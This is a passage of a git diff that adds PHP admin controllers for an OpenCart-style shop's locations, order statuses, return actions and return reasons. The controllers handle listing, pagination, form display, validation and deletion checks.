+ $data['results'] = sprintf($this->language->get('text_pagination'), ($location_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($location_total - $this->config->get('config_limit_admin'))) ? $location_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $location_total, ceil($location_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/location_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['location_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['location_id'])) {
+ $data['action'] = $this->url->link('localisation/location/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/location/edit', 'user_token=' . $this->session->data['user_token'] . '&location_id=' . $this->request->get['location_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['location_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $location_info = $this->model_localisation_location->getLocation($this->request->get['location_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('setting/store');
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($location_info)) {
+ $data['name'] = $location_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['address'])) {
+ $data['address'] = $this->request->post['address'];
+ } elseif (!empty($location_info)) {
+ $data['address'] = $location_info['address'];
+ } else {
+ $data['address'] = '';
+ }
+
+ if (isset($this->request->post['geocode'])) {
+ $data['geocode'] = $this->request->post['geocode'];
+ } elseif (!empty($location_info)) {
+ $data['geocode'] = $location_info['geocode'];
+ } else {
+ $data['geocode'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($location_info)) {
+ $data['telephone'] = $location_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ if (isset($this->request->post['fax'])) {
+ $data['fax'] = $this->request->post['fax'];
+ } elseif (!empty($location_info)) {
+ $data['fax'] = $location_info['fax'];
+ } else {
+ $data['fax'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($location_info)) {
+ $data['image'] = $location_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($location_info) && is_file(DIR_IMAGE . $location_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($location_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['open'])) {
+ $data['open'] = $this->request->post['open'];
+ } elseif (!empty($location_info)) {
+ $data['open'] = $location_info['open'];
+ } else {
+ $data['open'] = '';
+ }
+
+ if (isset($this->request->post['comment'])) {
+ $data['comment'] = $this->request->post['comment'];
+ } elseif (!empty($location_info)) {
+ $data['comment'] = $location_info['comment'];
+ } else {
+ $data['comment'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/location_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/location')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['address']) < 3) || (utf8_strlen($this->request->post['address']) > 128)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/location')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/order_status.php b/public/admin/controller/localisation/order_status.php
new file mode 100644
index 0000000..54d9a95
--- /dev/null
+++ b/public/admin/controller/localisation/order_status.php
@@ -0,0 +1,366 @@
+load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_order_status->addOrderStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_order_status->editOrderStatus($this->request->get['order_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $order_status_id) {
+ $this->model_localisation_order_status->deleteOrderStatus($order_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/order_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/order_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['order_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_status_total = $this->model_localisation_order_status->getTotalOrderStatuses();
+
+ $results = $this->model_localisation_order_status->getOrderStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['order_statuses'][] = array(
+ 'order_status_id' => $result['order_status_id'],
+ 'name' => $result['name'] . (($result['order_status_id'] == $this->config->get('config_order_status_id')) ? $this->language->get('text_default') : null),
+ 'edit' => $this->url->link('localisation/order_status/edit', 'user_token=' . $this->session->data['user_token'] . '&order_status_id=' . $result['order_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_status_total - $this->config->get('config_limit_admin'))) ? $order_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_status_total, ceil($order_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/order_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['order_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['order_status_id'])) {
+ $data['action'] = $this->url->link('localisation/order_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/order_status/edit', 'user_token=' . $this->session->data['user_token'] . '&order_status_id=' . $this->request->get['order_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['order_status'])) {
+ $data['order_status'] = $this->request->post['order_status'];
+ } elseif (isset($this->request->get['order_status_id'])) {
+ $data['order_status'] = $this->model_localisation_order_status->getOrderStatusDescriptions($this->request->get['order_status_id']);
+ } else {
+ $data['order_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/order_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/order_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['order_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/order_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $order_status_id) {
+ if ($this->config->get('config_order_status_id') == $order_status_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ if ($this->config->get('config_download_status_id') == $order_status_id) {
+ $this->error['warning'] = $this->language->get('error_download');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByOrderStatusId($order_status_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByOrderStatusId($order_status_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrderHistoriesByOrderStatusId($order_status_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/return_action.php b/public/admin/controller/localisation/return_action.php
new file mode 100644
index 0000000..0c48625
--- /dev/null
+++ b/public/admin/controller/localisation/return_action.php
@@ -0,0 +1,345 @@
+load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_action->addReturnAction($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_action->editReturnAction($this->request->get['return_action_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_action_id) {
+ $this->model_localisation_return_action->deleteReturnAction($return_action_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_action/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_action/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_actions'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_action_total = $this->model_localisation_return_action->getTotalReturnActions();
+
+ $results = $this->model_localisation_return_action->getReturnActions($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_actions'][] = array(
+ 'return_action_id' => $result['return_action_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/return_action/edit', 'user_token=' . $this->session->data['user_token'] . '&return_action_id=' . $result['return_action_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_action_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_action_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_action_total - $this->config->get('config_limit_admin'))) ? $return_action_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_action_total, ceil($return_action_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_action_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_action_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_action_id'])) {
+ $data['action'] = $this->url->link('localisation/return_action/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_action/edit', 'user_token=' . $this->session->data['user_token'] . '&return_action_id=' . $this->request->get['return_action_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_action'])) {
+ $data['return_action'] = $this->request->post['return_action'];
+ } elseif (isset($this->request->get['return_action_id'])) {
+ $data['return_action'] = $this->model_localisation_return_action->getReturnActionDescriptions($this->request->get['return_action_id']);
+ } else {
+ $data['return_action'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_action_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_action')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_action'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_action')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_action_id) {
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnActionId($return_action_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/return_reason.php b/public/admin/controller/localisation/return_reason.php
new file mode 100644
index 0000000..8291ef0
--- /dev/null
+++ b/public/admin/controller/localisation/return_reason.php
@@ -0,0 +1,345 @@
+load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_reason->addReturnReason($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_reason->editReturnReason($this->request->get['return_reason_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_reason_id) {
+ $this->model_localisation_return_reason->deleteReturnReason($return_reason_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
